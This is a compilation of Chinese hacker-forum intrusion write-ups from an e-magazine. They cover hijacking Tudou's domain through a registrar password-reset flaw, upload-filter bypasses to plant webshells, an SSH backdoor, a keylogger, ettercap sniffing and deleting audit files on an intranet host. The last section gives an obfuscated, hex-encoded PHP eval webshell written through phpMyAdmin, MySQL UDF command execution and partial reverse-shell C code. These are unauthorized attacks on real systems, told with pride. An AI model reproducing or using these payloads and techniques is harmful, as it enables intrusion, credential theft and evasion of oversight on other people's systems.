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第1节 记一次劫持土豆网-回忆录 

作者：mibboy 

来自：法客论坛– F4ckTeam 

网址：http://team.f4ck.net 

1.挖到漏洞的起因 

事情要从今年 5 月 12 日【汶川地震纪念日】说起~ 

相信每个黑阔最想日的都是自己的学校网站把？我当然也不例外。 

于是乎对自己的学校进行了一次渗透。 

在学校网站上翻来翻去没招到可以直接利用的地方，真实郁闷。 

漏洞是伪静态的，没找到有注入的地方，xss 也被过滤的很好。 

哈哈，最后想到了一个好思路，听我慢慢道来~~~ 

以前有社工过管理邮箱，不过第二天就被改密码了。 

因为有了社工过的资料，就最后想到了去社工客服~~~ 

查了查 whios，是新网互联的。 

啊，网上好像没有什么社工新网互联的文章啊。 

然后我去找回密码看看，看看可否回答问题找回密码。 

这个时候就被我挖到了一个可以劫持几万个网站的漏洞把。 

2.开始寻找目标网站劫持 

我当时就激动的发了个微博，当时很多人对此只是笑我，没有几个人相信。 

后来发现，凡是在新网互联购买域名的网站都可以劫持，漏洞原理也是比较简单，明文传输。

类似于中间人攻击吧。后来通过站长工具 whios 查询，查询了一些国内比较出名的网站，结

果土豆网不幸中招了！如图 1-3-1： 

 

图  1-3-1 

新网互联找回密码需要用户名，但是他找回用户名的流程有点奇葩，只需要提供域名即可。

木有错，只要域名就可以找回用户名，干脆直接用域名当用户名得了。 

如图 1-3-2： 
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图  1-3-2 

接着，找回邮箱的时候抓包，发现明文记录了原本的邮箱。 

我果断改回了自己的邮箱，然后 post。 

如图 1-3-3～图 1-3-6： 

 

图  1-3-3 
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图  1-3-4 

 
图  1-3-5 

 
图  1-3-6 
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然后拿到了土豆网的域名管理的权限~~~如图 1-3-7： 

 

图  1-3-7 

接着各种信息泄漏，如图 1-3-8～图 1-3-10： 

 
图  1-3-8 

 

图  1-3-9 
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图  1-3-10 

因为没有找到合适的服务器劫持。所以就提交给了乌云网。 

但是厂商一直不来认领，然后看到新网互联的厂商一直积极忽略漏洞。 

于是乎，第二天，也就是 5 月 12 日的当晚，我便开始劫持之旅！ 

3.劫持开始 

这次风波也让我看清了不少人，在这之前，我想找人借我个服务器来劫持下，没有一个人肯

借我，不是说没有，就是说我很忙到时候给你之类敷衍的话。 

擦，平时看他们写文章，劫持 XX 黑客论坛 XX 黑客网，社工 XX 网的时候。妈的服务器从来

不缺少过。 

没办法，然后我找到了去年一次无意间测试一个 0day 提权后得到的韩国服务器，管理员偶

尔才上一次线，以至于服务器直到现在我的帐号都没被删。 

然后开始劫持时失败了，土豆网的域名解析不了，然后我去找雨路，雨路很慷慨的给了个我

临时空间，叫我传黑页，其余他帮我弄。不过还是失败了。 

后来才晓得有一个步骤错了。 

接着我又试了试还是不行，然后，我去洗澡，洗完澡后，发现了雨路告诉我，劫持成功了，

我去看了看土豆网，页面果然已经 404 了。 

当然，只是说明劫持了，但是因为各种问题黑页没能正常解析。 

后来我发现雨路把我删了，删了我 QQ 好友，事后他说是因为怕被查水表，叫我收手吧。 

4.装 B 的开始 

当时啊 D 知道了我要劫持，也劝我别玩了，小心被抓怎样的。 

然后我自己一个人弄了 2 小时，成功劫持了。 
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修改解析 IP 后，大概 15 分钟左右就生效了。 

接着，我看到微博上已经有人注意到了土豆网被劫持。 

为了不造成太大影响，我劫持了土豆网也就不 1 小时多而已。 

剑心告诉我，厂商的人已经确认漏洞了，叫我赶快恢复。 

然后我恢复了，我觉得有些过火了，赶快发了封邮件给土豆网的运维的人道歉，但是新网互

联的人，我一直联系不上。 

后来我看到漏洞果然被厂商确认了，新网互联的人找我索要联系地址说要发礼物。 

我犹豫了一下，填了。 

土豆网的运维小伙加了我 QQ。叫我别再弄了，我已经成功在半夜把两家公司的运维都吵醒

了。 

第二天，土豆网的运维小伙说，他们部门是不再追究了，不过领导就不知道了。叫我放心吧，

应该不会有事的，我没啥在意。过了一会儿，他发了一截图给我看。 

截图内容是新网互联的官方微博，微博内容大概说是，因为这次劫持，他们已经报案了。 

我擦，我可是留了真实的联系方式啊，这钓鱼查水表啊~~~~ 

后来不少人开始喷我了，说我装 B 活该被查水表，说我借乌云网当保护伞，骂我不配做白帽

子。 

反之，我的微博粉丝暴涨，评论和@我的人也每秒再增加。 

我没有想到事态的严重性已经超出我预料的范围。 

然后我的乌云网的号被封了，问了下剑心，他也是无奈之举，因为好事者把这件事全部推给

了乌云网，说乌云网的人就这样，提交漏洞后就去入侵网站，出了事就拿白帽子来当挡箭牌。

我哭笑不得啊。 

第三天，土豆网的人告诉我，我没事啦。他们大事化小小事化了，新网的人估计也是怕土豆

网的人告他们，所以发了个微博平息一下这件事。 

或许并没有真的报案吧~ 

事后，我查了查，发现搜狗拼音的官方网也是新网互联的„„一条漏网之鱼。 

（全文完）责任编辑：桔子 责任主编：xfkxfk 

第2节 对某网站的一次未完成渗透 

作者：Learn 

来自：法客论坛– F4ckTeam 

网址：http://team.f4ck.net 

本人纯菜鸟，希望跟大家共同进步，谢谢~ 

算是有亮点吧。 

因为没有完成渗透，所以不打码了。 

花了 2 个多小时只能到这里了。 

Web cruiser 的漏洞扫描结果如图 1-5-1： 

 

图  1-5-1 

用爬虫爬不到什么敏感文件， 

所以用以字典为基础的目录扫描器。pk 得到的结果中发现有狗，如图 1-5-2： 
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图 1-5-2 

其它就没啥了，除了图 1-5-3： 

 

图 1-5-3 

大概是一般的漏洞扫描器无法检测上传漏洞，或者说效果不好，所以可能这里有机会。 

打开该页面，如图 1-5-4： 

 

图  1-5-4 

这是一处不需要身份认证的文件上传页。用 burpsuite 的 repeater 模块来进行测试，试着上

传 asp，如图 1-5-5： 

 

图  1-5-5 

出现 403 错误，奇怪。。 

接着上传 abc，如图 1-5-6： 
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图  1-5-6 

结果提示成功，说明是黑名单过滤机制。上传 Jspphpcerasa 等等都是 403 错误。 

接着发现 shtml 可以上传，而且 web server 支持。利用 include 指令，包含上传处理文件

uploadfile.asp，如图 1-5-7： 

 

图  1-5-7 

找这个 shtml 文件的路径，没遇到多大困难，如图 1-5-8： 

 
如上图 Pk 之前扫到了这个目录，猜就是上传文件的目录 

访问看一下 

 

图  1-5-8 
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代码中黑名单设置如图 1-5-9： 

 

图  1-5-9 

只过滤了 asp aspx，cer 和 asa 都没过滤，为什么不能上传呢？应该是因为狗吧。 

现在我们能够包含任意已知文件了。包含根目录下的 news.asp，如图 1-5-10： 

 

图  1-5-10 

嗯。。。大小写不敏感，过滤得挺严的。 

惊喜的是这句代码，如图 1-5-11： 

 

图  1-5-11 

哇哦，数据库是 access 的，数据库文件的地址也知道了，快下载。。 

居然提示 404，如图 1-5-12： 

 

图  1-5-12 

没找到。。。不可能啊。。。数据库链接都没有报错~目测是狗干的。 

然后想一想，利用 shtml 把这个 mdb 包含进来，如图 1-5-13： 

 

图  1-5-13 
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打开之后有点卡。查看源代码，然后保存为 mdb，打开~如图 1-5-14： 

 

图  1-5-14 

好了，管理员用户名知道了，而且是明文。 

用法客的目录扫描工具找到了后台登陆地址，如图 1-5-15： 

 

图  1-5-15 

好啦。。。进入后台，如图 1-5-16： 

 

图  1-5-16 
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= = 只有刚才那处上传，有狗怎么过呢？ 

找子系统——编辑器。。 

额。。。居然是图 1-5-17 这种情况： 

 

图  1-5-17 

= = 都是自己实现的？？？ 

暂时无解了。。。 

（未完待续）责任编辑：桔子 责任主编：xfkxfk 

第3节 一次突破后台验证到拿 webshell 

作者：Strive 

来自：法客论坛– F4ckTeam 

网址：http://team.f4ck.net 

前段时间拿的一个站，因为菜鸟我技术有限，所以卡了好久，后台一直过不去。 

现在终于捅了他，和大家分享一下经验，如果觉得简单啥的不要喷我。 

用 safe3 扫一扫扫到注入点，果断开萝卜头神器爆菊注入. 

如图 1-7-1 和图 1-7-2： 

 
图  1-7-1 
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图  1-7-2 

解密 admin 的 md5 后得到!ff2013，杀到后台填入帐号和密码发现错误，我靠？不是吧，问

了几个牛他们估计不太搭理我，说可能是假后台，于是我再寻找，发现没啥其他管理页面了，

于是我就再从后台找突破点。发现填入后他是直接显示错的，如图 1-7-3： 

 

图  1-7-3 
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也去网上找了这个 cms 的 exp，发现菊花太紧，干不进去。 

于是右键看了下源代码，如图 1-7-4： 

 

图  1-7-4 

再看了下登录页面，我操！？验证码在哪里？ 

于是再往下看，如图 1-7-5： 

 

图  1-7-5 

IP 是局部变量 IP 永远为 1  直接是 return 了限制了，不论怎么做都是验证失败，伤脑筋。 

但是验证成功后是会跳转到 m 这个目录的，如图 1-7-6： 

 

图  1-7-6 

后来进过一个朋友的指点，发现如图 1-7-7： 
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图  1-7-7 

这里有一个 get 请求，请求的页面是： 

varurl = “/m/manager/login.xml.php” 

于是访问了下，如图 1-7-8： 

 

图  1-7-8 

发现 V 标签里面是-1，就是说验证失败了，成功的话应该是 1。 

于是我在 url 后面加上了帐号和密码。 

如图 1-7-9： 

 

图  1-7-9 

发现这回验证成功了，于是改成挑战后的 m 的目录。 

发现还是不行，应该是还差一个验证码，于是我就在源代码里面发现有个 showVCode()的函

数，应该是控制的验证码。 

于是我就在登录页面地址栏里面输入 javascript:showVCoode()，发现成功出现验证码，记住

验证码，我再访问： 

http://www.xxxx.com.cn/m/manager/login.xml.php?username=admin&password=!ff2013&vcod

e=54713。后面那个是验证码，然后再登录，发现标签还是 1。 

于是转成 m 目录，发现成功进入后台。 

如图 1-7-10： 
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图  1-7-10 

好了，现在要拿 shell 了。于是我就就翻了翻，发现上传是 fckeditor。网站配置这里也有，

如图 1-7-11： 

 

图  1-7-11 

更改后缀的，于是各种胡改~~~ 

走你～ 

发现上传不了！！郁闷~~~ 

看来是过滤到家了。 

解析漏洞也不行，于是想到以前有看过可以用别的编码方式来代替一些符号。 

于是我就用小葵转换工具把;转换成了%3B，上传后发现可以成功解析。 

如图 1-7-12： 
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图  1-7-12 

于是打开菜刀，一句话连之，如图 1-7-13： 

 

图  1-7-13 

权限还挺大，如果有旁站的话还可以旁站，不过他是独立的，提权始终没有结果。 

有兴趣提这个站的朋友可以论坛 M 我！ 

（全文完）责任编辑：桔子 责任主编：xfkxfk 

第4节 一次 xss 后两种方法后台过 fck2.6.4.1 拿 shell 

作者：Isoftlove 

来自：法客论坛-F4ckTeam 

网址：http://team.f4ck.net/ 

目标站为 www.xx.com。检测出有注入，不过字段射不出来 后台也找不到，于是想到 XSS 在

网站里面注册一个用户 然后在提意见的地方插入 xss 代码。 

今天看到了一个发现，如图 3-1-1： 
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图  3-1-1 

也发现后台了 http://www.xx.com.cn/xxadmin/  

打开跳转到 http://www.xx.com.cn/xxadmin/index.asp，如图 3-1-2： 

 

图  3-1-2 

这里有一个小插曲 由于当时在 XSS 里面拿到后台链接时直接就在浏览器里面打开  

一打开就直接跳转到 http://www.xx.com.cn/xxadmin/index.asp 由于太粗心没有看到那个后

台地址后面还有一个 technology.asp?  

什么的我还以为只是 login.asp 之类 没有细看 所以有了下面的东西。 

以前修改 cookies 一般只要 login.asp 打开然后修改下 cookies 然后把 login.asp 改成 index.asp

就可以，可是这次不行本来就是 index.asp 而且试了 meum.asp left.asp main.asp 都不行各种

搜索都没有找到后台 asp 文件。 

看了下是 IIS6.0 的于是想到用上次那个 IIS 短文件名利用工具于是输入如下代码： 

java scanner 2 20 %1 http://www.xx.com.cn/xxadmin/  

得到，如图 3-1-3、3-1-4： 
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图 3-1-3 

 

图 3-1-4 

其它不容易猜，起码可以看到： 

 

图 3-1-5 

应该是 adminmain.asp 的测试没错成功，如图 3-1-6、3-1-7： 
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图  3-1-6 

 
图 3-1-7 

PS：当时太粗心了 不然直接用这个就可以，如图 3-1-8、3-1-9： 

 

图  3-1-8 

 

图  3-1-9 

后来发现只要用这个就可以 白找这么久，不过在火狐上测试发现 cookies 只能持续一下你

再点上面其它东西都会直接跳转到登录界面，如图 3-1-10： 

 

图  3-1-10 

这样也不行，如图 3-1-11： 
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图  3-1-11 

于是弄到阿 D 里面成功 可以随便点击，如图 3-1-12： 

 
图  3-1-12 

加个管理员再说，如图 3-1-13： 

 

图  3-1-13 

把权限都勾选上，如图 3-1-14 
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图  3-1-14 

Ps：下为编辑界面图一张，如图 3-1-15： 

 

图  3-1-15 

起先试了网上几个关于 FCK 的 URL 都不行于是无意间点到了这里查看版本，蛋疼的是版本

是 2.6.4.1，很多漏洞都被补了，如图 3-1-16： 

 
图  3-1-16 

因为是 IIS6.0 的所以考虑解析漏洞 

不过漏洞已补新建 1.asp 会自动修改成 1_asp，如图 3-1-17、3-1-18： 
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图  3-1-17 

 

图  3-1-18 

正无果时百度了下乌云里面有人说可以用%00 截断，如图 3-1-19 

 
图  3-1-19 

又到到法客搜索 FCKeditor 文件上传“.”变“_”下划线的绕过方法，得到的结果，如图 3-1-20、

图 3-1-21： 

 

图  3-1-20 
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图  3-1-22 

于是自己试下用火狐的插件 TAMPER DATA ，如图 3-1-23、3-1-24、3-1-25： 

 

图  3-1-23 

 

图  3-1-24 
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图  3-1-25 

就是把 . 改成 %00 确定后提交 就可以，如图 3-1-26、3-1-27： 

 

图  3-1-26 

 

图  3-1-27 

菜刀连接成功，如图 3-1-28、3-1-29： 

 
图  3-1-28 
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图  3-1-29 

由于自己也正要测试 fiddler 与 burp suite 所以一起记录下。 

方法二： 

使用 burp suite 突破 fckeditor，就是论坛中说的双文件法突破，如图 3-1-30： 

 

图  3-1-30 

我试了下用 TAMPER 插件不行抓不到这个信息 不过还没装 burp suite 于是试下 fiddler，如

图 3-1-31、3-1-32： 

 
图  3-1-31 
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图  3-1-32 

可以发现是红色的 说明断了，如图 3-1-33： 

 
图  3-1-33 

修改 currentFolder 为 /1.asp，如图 3-1-34： 
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图  3-1-34 

点全部恢复，如图 3-1-35： 

 

图  3-1-35 

这里要注意 点全部恢复一次后会弹出一个下面的栏。再在里面修改 currentfolder 为 aa.asp 

刚才弄错了所以重弄，如图 3-1-36： 

 
图  3-1-36 

再点全部恢复 OK 成功，如图 3-1-37： 

 
图  3-1-37 
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在 8.asp 里面传一句话图片马 upfiles/file/8.asp/Fl201306271633432192.jpg  

菜刀连接 http://www.xx.com.cn/upfiles/file/8.asp/Fl201306271633432192.jpg，如图 3-1-38： 

 

图  3-1-38 

方法三： 

试下用 burp suit  切到 JAR 目录下 运行 java -jar burpsuite_pro_v1.4.07.jar 就可以。 

火狐里面配置一下，如图 3-1-39 

 

图  3-1-39 
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默认就是 ON 的就是默认已经在监听了 所以每点一下都会被截取到 中间截取过程显示待

空白页于是按 forward，如图 3-1-40： 

 

图  3-1-40 

直到出现 再新建文件夹，如图 3-1-41 

 

图  3-1-41 

点 forward 后出现这个，如图 3-1-42 
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图  3-1-42 

%2f 就是 /  的意思 

于是修改下，如图 3-1-43： 

 

图  3-1-43 

点两下后成功了，如图 3-1-44 

 

图  3-1-44 

（全文完）责任编辑：随性仙人掌 
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第5节 Linux 内网渗透的思路 

作者：Chaplin 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

一.漏洞发现: 

因为网站较多，就先用 wvs 扫一遍、然后等结果 

确实有些缺陷，用网站弱口令来进行测试，如图 3-1-1： 

 

图  3-1-1 

并且能成功的登陆后台，如图 3-1-2：（前期用 google 浏览器无法直接登陆，换 IE 即可） 

图  3-1-2 

二.突破上传： 

正常情况下是无法进行上传.jpg,gif,png 之外的文件，使用 burp suite 来进行突破上传，方法

很简单，截断上传即可，如图 3-1-3，图 3-1-4： 

 

图  3-1-3 
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图  3-1-4 

三.安装后门： 

进入系统后，我的 RP 是如此滴多娇，如此滴辉煌，竟然是 root 权限，如图 3-1-5： 

 

图  3-1-5 

查看下 passwd 账号信息，如图 3-1-6： 

 
图  3-1-6 
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目录树结构，如图 3-1-7： 

   

图 3-1-7 

因为既然要内网渗透，权限可能会随时丢失，下面就先安装个 ssh 后门，本来是想安装 pam

后门呢，因为所有账号登陆服务器时都要验证 pam 模块，而 pam 后门刚好可以截取用户密

码，但是呢，看他内核是（Linux jcms 2.6.32-71.el6.i686 #1 SMP Wed Sep 1 01:26:34 EDT 2010 

i686 i686 i386 GNU/Linux）肯定是 redhat/centos6 的系统、事实胜于雄辩，如图 3-1-8： 

 

                                   图  3-1-8 

确实是 6.0 的，而且还是 redhat 企业版操作系统，有点头疼了，至于为什么？一会你就知道

了,下面安装 openssh 后门。 

一. 下载并解压后门 

下载并解压，如图 3-1-9： 

 
图  3-1-9 
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二.后门编译： 

如图 3-1-10，图 3-1-11，图 3-1-12： 

 

图  3-1-10 

 

图  3-1-11 

 

图  3-1-12 
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编译成功，现在是内网环境，我必须要把 ssh 的 22 端口给映射出来，对嘛、再加上是 root

权限，比较幸福咯。 

三.端口转发： 

前提必须有个公网 IP 的服务器,先把 lcx 传到服务器准备一下，如图 3-1-13： 

 

图  3-1-13 

本地监听端口，如图 3-1-14： 

图  3-1-14 

第一次搭配出错了，再来，搭配成功，如图 3-1-15： 
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图 3-1-15 

四.修改日志记录： 

因为所做的操作都有可能被记录在日志里面，我事先就先把日志给注释掉咯，如图 3-1-16： 

 

图  3-1-16 
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五.信息收集： 

老思路：先探测下网络里面到底有多少存活的主机，如图 3-1-17： 

图  3-1-17 

然后查看 ssh 是否有信任关系，如图 3-1-18： 

图  3-1-18 

可惜的是，没有一个能够登陆上，检查 kerberos 也没信息，rsync 也没安装，Mount 也没远

程挂在任何命令，在 history 里面查看到经常登陆的 IP，如图 3-1-19，图 3-1-20，图 3-1-21： 

 

图 3-1-19 
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图 3-1-20 

 

 

图  3-1-21 

哎！都没什么希望，进行下一步吧。 

六.键盘记录： 

我比较喜欢 LD_keylog 非本地记录，可以记录在本机 ssh，rsync，su 的所有操作，国内这东

西很少，大家见识下吧，如图 3-1-22： 

 
图  3-1-22 

配置下要存放的位置以及命令的嗅探，如图 3-1-23： 
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图  3-1-23 

测试表明，键盘记录好使，就是不是太准确，不过配合 history 是没什么问题了，如图 3-1-24： 

图  3-1-24 

七.配置 yum 源： 

下面安装 ettercap，安装 ettercap 我就直接用 yum 安装了，但是呢？我发现了一个问题、此

系统是 redhat 企业版 6.0的操作系统，这种 yum 源网上不好找的，我也不想费劲再服务器

上下载一个 redhat iso 镜像，自己搭建一个 yum 源来提供下载，而且也不是很安全，所以呢？

就想办法让 redhat yum 源使用 centos yum 源来进行安装、默认情况下是不行的哟、建议别

试。小心你的系统安装的包不兼容出毛病！ 

1、删除 redhat 原有的 yum 源 

# rpm -aq | grep yum|xargs rpm -e --nodeps 

2、下载新的 yum 安装包  

这里我们已经事先把所有包都打包好了，如图 3-1-25： 

 

图  3-1-25 
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安装成功后，配置 yum 源，如图 3-1-26： 

图  3-1-26 

Yum 源测试，如图 3-1-27，图 3-1-28： 

 

图  3-1-27 

图  3-1-28 

Ok，yum 没问题，下面进行 ettercap 的安装。 

八.安装 ettercap： 

有了 yum 啥都好办了，哈哈，直接 yum install 吧，如图 3-1-29： 

安装完毕后查看下 ettercap 的安装路径，如图 3-1-30： 
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图  3-1-30 

查看 ettercap 所嗅探的端口（不必要修改，常用的 80,636,21,22,25,110,23 都在里面，默认足

够了已经），如图 3-1-31： 

 

图  3-1-31 
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下面就来进行使用 ettercap 嗅探吧。 

九.使用 ettercap 进行内网嗅探： 

嗅探时遇到的问题、因为是用 yum 来进行安装的 ettercap，所以比较新，是 0.7.5，ettercap0.7.5

之后推出了又 ipv6 的嗅探方式。 

所以跟 0.7.3 的一些参数有所不同，如图 3-1-32，图 3-1-33，图 3-1-34： 

 
图  3-1-32 

 

图  3-1-33 
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图  3-1-34 

问题解决后，就可以嗅探了、但是，嗅探不是短时间就能嗅探到的，而且你也不能盯着电脑，

或者说如果设置了终端超时怎么办？一旦终端断掉，你的进程也会跟着断开。所以呢？我们

使用一条 nohup 命令，Nohup 的意思是不挂断地运行命令，如图 3-1-35： 

 

图  3-1-35 
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Ok，已经成功放在后台运行，下面来测下，嗅探是否给力哟，如图 3-1-36： 

 

图  3-1-36 

可以嗅探到东西就行。 

十.删除 aide 文件审计： 

在清理尾巴的时候看到了一个目录，aide，我突然就联想到了我所改的文件是不是都被记录

下来了。哎呀！差点出事，如图 3-1-37,图 3-1-38,图 3-1-39： 

图  3-1-37 

图 3-1-38 
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图  3-1-39 

直接删掉，我让你检查！哈哈，如图 3-1-40： 

 

图  3-1-40 

好吧，快 2 点了，睡觉，明天看结果。 

十一.查看嗅探内容： 

查看下嗅探的结果，果然嗅探出来数据了，但是中间有很多不必要的一些信息。 

我需要删除它，如图 3-1-41： 
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图  3-1-41 

那就是用 sed 命令吧，如图 3-1-42： 

 

图  3-1-42 
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可以看到下图，不必要的信息已经完全删除完毕，如图 3-1-43： 

 

图  3-1-43 

十二.安装桌面环境 

既然有内网地址的账号和密码以及 url，就要进他们内网针对网站再次渗透。一个 SSH Socks

代理，一个 vnc，我肯定会选择后者，操作起来很方便。但是，因为内网的 ip 外网是无法访

问的，所以我就安装 vnc，然后将 vnc 的 5900 端口转发的外网，进入。问题又来了，一般

的服务器肯定不会安装桌面环境，这样即使你把 vnc 给安装成功，端口也转发出来了，连接

上去也是没有图形化界面，这样你还是不能运行浏览器来进行内网渗透、所以第一步先安装

firefox 和桌面环境。 

①先安装 firefox 

如图 3-1-44： 

 
图  3-1-44 
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②安装桌面环境，共需要装 2 个组 

如图 3-1-45，3-1-46，图 3-1-47： 

图  3-1-45 

 
图  3-1-46 
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图  3-1-47 

安装成功后下面就安装 vnc 了，安装 vnc，如图 3-1-48： 

图  3-1-48 

配置 vnc，如图 3-1-49，图 3-1-50： 



《安全参考》——信息安全整合型期刊    官方网站：www.hackcto.com    杂志编号：HACKCTO-201507-31 

第 51 页/共 122 页   官方微博：http://t.qq.com/hackcto    出版日期：每月 15 日    电子杂志：免费 

图  3-1-49 

 

图  3-1-50 

使用端口转发，将 5902 端口转发出来即可连接，如图 3-1-51： 

 

图  3-1-51 

然后可以继续内网渗透，END。 

（全文完）责任编辑：Rem1x 
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第6节 记一次未完成的渗透 

作者：lostwolf 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org/ 

最近一直挺忙，又因本人技术真的很渣，没什么好的东西能拿得出手来与大家分享，所以一 

直没发帖。今夜，心情甚是低落，遂找个目标日日。文章很乱，内容很基础，图片、废话占

据了大量的篇幅。老鸟略过，菜鸟就当成科普文。涉及隐私 ip 隐去。 

目标(某国外企业站)：www.target.com ip:192.168.1.8。目标主站未发现动态脚本(asp,jsp,cfm,

php,aspx...)，故从其它地方入手。 

0x01 搜集域名信息 

使用 google 搜索二级域名:site:target.com -inurl:www。 

使用:dnsenum 探测二级域名：./dnsenum.pl -f dns.txt -t 80 --threads 15 target.com。 

使用这两种常用手法均未找到相关二级域名。使用御剑轻量级旁注查询工具未找到该公司相

关的域名。 

0x02 初步漏洞探测 

在这里我使用一个小工具 wss.exe（不知道该工具出处听说是 safe3 web 漏洞扫描里面的），

该工具扫描漏洞能力并不强但是能快速扫描出一个 c 段中简单的一些 web 漏洞。在前期快

速寻找漏洞站点就很适合。这里我写个批处理来方便使用，效果如图 1-2-1： 

@echo off 

color a 

MODE CON COLS=120 LINES=30 

title c 段漏洞信息检测 

echo c 段信息检测 

set /p ips=请输入要检测的 ip: 

wss.exe  wss.conf 65 %ips% 

 

图  1-2-1 

不多时就扫描完成了，查看扫描结果，如图 1-2-2： 

 

图  1-2-2 
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结果还是令人满意的一个注入，一个敏感目录等等。既然已经扫描出漏洞我们先别急着日下

来，万一跟目标毫无关系岂不是白日了？外网的情况下如何判断是否处在同一内网呢？我们

可以使路由跟踪命令 tracert 命令看看是否经过相同路由。 

tracert 命令技巧:直接 tracert ip 会很慢，而且容易超时。 

我们使用 tracert -4 -d -w 100 127.0.0.1 

选项： 

-d                 不将地址解析成主机名。 

-w timeout         等待每个回复的超时时间(以毫秒为单位) 

-4                 强制使用 IPv4。 

设置些参数优化下，速度会快很多。而且更直观，如图 1-2-3： 

 
图  1-2-3 

很遗憾，跳不过去。我们可以使用 0trace(注意是零不是欧)。backtrack 5 下已集成。不过在

这里我们使用 0trace 的增强版 intrace。 

intrace 的安装非常简单的： 

svn checkout http://intrace.googlecode.com/svn/trunk/ intrace 

cd  intrace/ 

./Makefile 

完成安装。 

使用方法： ./intrace.bin -h 192.168.2.6 -p 80 -s 4 
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-s 参数发送数据包大小-p 设置端口。由于该工具不是通过常规的主动的方式路由跟踪，而是

通过 tcp 连接被动的来跟踪，所以我们还要对目标进行访问。在这里我对目标发送个 http

数据包，如图 1-2-4： 

 

图  1-2-4 

很好成功到达目标。分析最后经过的路由，发现与目标一致，所以判断是同一内网。 

http://167.58.24.140/myadmin/main.php (url 已经过处理)访问之后发现是 phpmyadmin 而且

直接登录进去 select user()，root 权限。 

通过/libraries/select_lang.lib.php 获取 web 绝对路径为：C:\Inetpub\wwwroot\myadmin\ 

select '<?php eval($_POST[1])?>' into outfile 'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php' 

发现连接被重置。web 防火墙？不过丝毫不用担心 php 很好突破。通过 http://www.expdoo

r.com/article/5.html 站点找到一个过防火墙的 php 一句话 shell。 

<?php 

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$

_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114

).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_u

U(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> 

使用火狐 hex 编码得到： 

0x3c3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f75552831303

1292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f75552833

36292e245f7555283935292e245f7555283830292e245f7555283739292e245f7555283833292e245f75552838342

92e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b

245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755

528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292e2

45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131

292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e 

select 

0x3c3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f75552831303

1292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f75552833

36292e245f7555283935292e245f7555283830292e245f7555283739292e245f7555283833292e245f75552838342

92e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b

245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755

528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292e2

45f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131
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292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e into outfile  

'C:\\Inetpub\\wwwroot\\myadmin\\sqldump.php'  //注意双斜杠！或者反斜杠也行 

菜刀连接密码 1 成功 getshell，如图 1-2-5： 

 

图  1-2-5 

首先想到的是 whoami 看看是否是系统权限。没想到不可以执行命令。菜刀说是开启了安全

模式，但不一定我们看看 phpinfo 发现 safe_mode 为 Off 并且 disable_functions no value 估计

是没权限执行吧。题外话：如果是有权限执行 cmd 但开启安全模式或者设置了

disable_function 在低版本 php(PHP <= 5.2.9)win32 环境下是可以绕过的。 

参考文章:PHP 5.x COM functions safe_mode and disable_function bypass。 

安全模式下 exec 等函数安全隐患 PHP <= 5.2.9 Local Safemod Bypass Exploit。 

http://huaidan.org/archives/3140.html。 

http://luoq.net/PHP-COM-functions/。 

目标虽然是低版本 （PHP Version 5.2.4），但是并不是开启安全模式，所以不适用该方法。

mysql root 权限。我们并不用考虑 php 能不能执行命令。先 udf 提权，select version()，发现

是 5.0 低于 5.1 可以直接将 dll 文件传至 c:\windows\目录。我喜欢用 sqlmap 里面的 dll 一般

都不会被杀软干掉。 

相关链接 https://github.com/mysqludf/lib_mysqludf_sys。该 dll 提供三个函数： 

lib_mysqludf_sys_info 系统信息 

sys_get  获取环境变量 

sys_set  创建新的环境变量并更新环境变量 

sys_exec 执行程序不返回信息 

sys_eval 执行命令并返回信息 

这里有个小技巧：dll 文件有些大直接通过 select 0x.. into outdump 方式写入比较麻烦(当然有

很多一步完成的脚本)，我们可以将文件上传至任意可写目录，然后通过 load_file()函数读该

文件同时将其写入 c:\\windows\\。这里我们创建一个 sys_eval 就可以了。 

具体步骤： 

select load_file('d:\\php\\temp\\xxoo.txt') into dumpfile 'c:\\windows\\sose.dll' 

create function cmdshell returns string soname 'sose.dll'; 

通过这个执行命令始终不方便，还是反弹个 shell 吧。 
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event.cpp (来源：mysql_win_remote_stuxnet_technique )。 

#include <winsock2.h> 

#include <stdio.h>    

#pragma comment(lib,"ws2_32") 

  WSADATA wsaData; 

  SOCKET Winsock;  

  SOCKET Sock;     

  struct sockaddr_in hax; 

  STARTUPINFO ini_processo; 

  PROCESS_INFORMATION processo_info; 

int main(int argc, char *argv[]) 

{               

LPCSTR szMyUniqueNamedEvent="sysnullevt"; 

HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent); 

switch (GetLastError()) 

{ 

    // app is already running 

    case ERROR_ALREADY_EXISTS: 

    { 

        CloseHandle(m_hEvent); 

                return 0; 

        // now exit 

        break; 

} 

 

    // this is the first instance of the app 

    case ERROR_SUCCESS: 

    { 

        // global event created and new instance of app is running, 

        // continue on, don't forget to clean up m_hEvent on exit 

        break; 

    } 

} 

    WSAStartup(MAKEWORD(2,2), &wsaData); 

    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);        

    if (argc != 3){fprintf(stderr, "Usage: <rhost> <rport>\n"); exit(1);}                            

